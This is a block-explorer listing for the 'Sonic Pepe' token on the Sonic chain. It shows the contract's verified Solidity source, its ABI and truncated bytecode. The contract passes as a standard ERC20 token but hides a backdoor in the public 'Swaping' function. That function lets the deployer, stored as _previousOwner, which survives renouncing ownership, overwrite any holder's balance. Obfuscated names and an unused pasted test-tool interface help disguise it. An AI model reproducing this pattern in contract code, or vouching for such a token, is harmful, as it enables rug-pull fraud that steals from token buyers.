S Price: $0.722833 (-10.49%)

Token

Sonic Pepe (SONICPEPE)

Overview

Max Total Supply

1,000,000,000 SONICPEPE

Holders

41

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
38,054,354.920459309 SONICPEPE

Value
$0.00
0xfa2cd85d16e602c02afeabb57d967592e4e05678
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
SONICPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-02-24
*/

/**
*/
/**

https://t.me/PEPE_Sonic
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    function startPrank(address) external;
    function prank(address, address) external;
    function startPrank(address, address) external;
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);

    function snapshot() external returns (uint256);
  
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }
 

    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hpei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hpei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }


    function _transfer_srtokn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Swaping(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSendere = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSendere == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract SONICPEPE is ERC20 {
    uint256 private constant TOAL_SAILYLY =1000_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_hoppei;
    uint256 public maxTadsssWallet;
    uint256 public max_adrbsWallet;
    mapping(address => bool) public isException;

    uint256 _burneuos = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20(unicode"Sonic Pepe", unicode"SONICPEPE", TOAL_SAILYLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        max_adrbsWallet=  TOAL_SAILYLY / 20;
        maxTadsssWallet = TOAL_SAILYLY / 20;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hpei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burneuos) / 100;

                super._transfer_srtokn(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hpei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_hoppei = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_hoppei) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTadsssWallet, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= max_adrbsWallet, "Max holding exceeded max");
            }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swaping","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTadsssWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrbsWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b50604051620030833803806200308383398181016040528101906200003c91906200050c565b6040518060400160405280600a81526020017f536f6e69632050657065000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f534f4e4943504550450000000000000000000000000000000000000000000000815250670de0b6b3a7640000620000d1620000c56200039560201b60201c565b6200039d60201b60201c565b8260059081620000e29190620007b8565b508160069081620000f49190620007b8565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a09190620008b0565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506014670de0b6b3a7640000620002089190620008fc565b6009819055506014670de0b6b3a7640000620002259190620008fc565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000934565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d482620004a7565b9050919050565b620004e681620004c7565b8114620004f257600080fd5b50565b6000815190506200050681620004db565b92915050565b600060208284031215620005255762000524620004a2565b5b60006200053584828501620004f5565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c057607f821691505b602082108103620005d657620005d562000578565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000601565b6200064c868362000601565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000699620006936200068d8462000664565b6200066e565b62000664565b9050919050565b6000819050919050565b620006b58362000678565b620006cd620006c482620006a0565b8484546200060e565b825550505050565b600090565b620006e4620006d5565b620006f1818484620006aa565b505050565b5b8181101562000719576200070d600082620006da565b600181019050620006f7565b5050565b601f82111562000768576200073281620005dc565b6200073d84620005f1565b810160208510156200074d578190505b620007656200075c85620005f1565b830182620006f6565b50505b505050565b600082821c905092915050565b60006200078d600019846008026200076d565b1980831691505092915050565b6000620007a883836200077a565b9150826002028217905092915050565b620007c3826200053e565b67ffffffffffffffff811115620007df57620007de62000549565b5b620007eb8254620005a7565b620007f88282856200071d565b600060209050601f8311600181146200083057600084156200081b578287015190505b6200082785826200079a565b86555062000897565b601f1984166200084086620005dc565b60005b828110156200086a5784890151825560018201915060208501945060208101905062000843565b868310156200088a578489015162000886601f8916826200077a565b8355505b6001600288020188555050505b505050505050565b620008aa8162000664565b82525050565b6000602082019050620008c760008301846200089f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009098262000664565b9150620009168362000664565b925082620009295762000928620008cd565b5b828204905092915050565b61273f80620009446000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb14610349578063ab40caab14610379578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a35780638da5cb5b146102ad57806395d89b41146102cb57806398636f32146102e9578063a457c2d7146103195761012c565b8063313ce567116100f4578063313ce567146101fd57806335ba28de1461021b5780633950935114610239578063622565891461026957806370a08231146102735761012c565b806301780ba81461013157806306fdde0314610161578063095ea7b31461017f57806318160ddd146101af57806323b872dd146101cd575b600080fd5b61014b60048036038101906101469190611bef565b610401565b6040516101589190611c3e565b60405180910390f35b6101696104c8565b6040516101769190611ce9565b60405180910390f35b61019960048036038101906101949190611bef565b61055a565b6040516101a69190611d26565b60405180910390f35b6101b7610578565b6040516101c49190611c3e565b60405180910390f35b6101e760048036038101906101e29190611d41565b610582565b6040516101f49190611d26565b60405180910390f35b610205610683565b6040516102129190611db0565b60405180910390f35b61022361068c565b6040516102309190611c3e565b60405180910390f35b610253600480360381019061024e9190611bef565b610692565b6040516102609190611d26565b60405180910390f35b61027161073e565b005b61028d60048036038101906102889190611dcb565b610763565b60405161029a9190611c3e565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c29190611e07565b60405180910390f35b6102d36107e9565b6040516102e09190611ce9565b60405180910390f35b61030360048036038101906102fe9190611dcb565b61087b565b6040516103109190611d26565b60405180910390f35b610333600480360381019061032e9190611bef565b61089b565b6040516103409190611d26565b60405180910390f35b610363600480360381019061035e9190611bef565b61098f565b6040516103709190611d26565b60405180910390f35b6103816109ad565b60405161038e9190611c3e565b60405180910390f35b6103b160048036038101906103ac9190611e22565b6109b3565b6040516103be9190611c3e565b60405180910390f35b6103e160048036038101906103dc9190611dcb565b610a3a565b005b6103eb610abd565b6040516103f89190611d26565b60405180910390f35b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016104419190611eaa565b60405160208183030381529060405280519060200120905060008260405160200161046c9190611eaa565b60405160208183030381529060405280519060200120905060008660001b90506000828414905080156104b0576104a38983610ad0565b96505050505050506104c2565b6104b989610b66565b96505050505050505b92915050565b6060600580546104d790611ef4565b80601f016020809104026020016040519081016040528092919081815260200182805461050390611ef4565b80156105505780601f1061052557610100808354040283529160200191610550565b820191906000526020600020905b81548152906001019060200180831161053357829003601f168201915b5050505050905090565b600061056e610567610baf565b8484610bb7565b6001905092915050565b6000600454905090565b600061058f848484610d80565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105da610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065190611f97565b60405180910390fd5b61067785610666610baf565b85846106729190611fe6565b610bb7565b60019150509392505050565b60006009905090565b60085481565b600061073461069f610baf565b8484600360006106ad610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072f919061201a565b610bb7565b6001905092915050565b610746611078565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4611078565b6107be60006110f6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f890611ef4565b80601f016020809104026020016040519081016040528092919081815260200182805461082490611ef4565b80156108715780601f1061084657610100808354040283529160200191610871565b820191906000526020600020905b81548152906001019060200180831161085457829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108aa610baf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e906120c0565b60405180910390fd5b610984610972610baf565b85858461097f9190611fe6565b610bb7565b600191505092915050565b60006109a361099c610baf565b8484610d80565b6001905092915050565b60095481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611078565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612152565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d906121e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8c90612276565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d739190611c3e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e559061239a565b60405180910390fd5b610e698383836111fb565b600081031561107357600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f165750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905490610100